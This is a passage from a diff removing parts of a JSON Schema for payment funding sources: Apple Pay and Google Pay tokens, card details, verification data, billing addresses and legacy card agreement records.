transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, - "cardDetail": { - "description": "Card that was used with the Apple pay token", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyCardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "LegacyCardAgreementMetadata": { - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." - }, - "LegacyCardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "LegacyCardKeyData": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - }, - "LegacyCardType": { - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - } - }, - "properties": { - "cardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] - }, - "cardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "cardHolderFullName": { - "type": "string", - "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 - }, - "cardId": { - "type": "string", - "description": "The uuid of the card created" - }, - "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." - }, - "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." - }, - "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." - }, - "id": { - "type": "integer", - "description": "The id of the card created." - }, - "issuer": { - "type": "string" - }, - "key": { - "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - } - }, - "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." - }, - "numberHashed": { - "type": "string" - }, - "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." - }, - "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - } - } - } - }, - "required": [ - "type", - "number", - "source" - ] - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/google-pay-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePay Payment Token", - "description": "GooglePay Funding source", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", - "description": "Payment Token Funding source", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", - "description": "Verification data for the card used as funding source", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, - "cardDetail": { - "description": "Card that was used with the Google pay token", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyCardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "LegacyCardAgreementMetadata": { - "type": "object", - "properties": { - "businessContact": { - 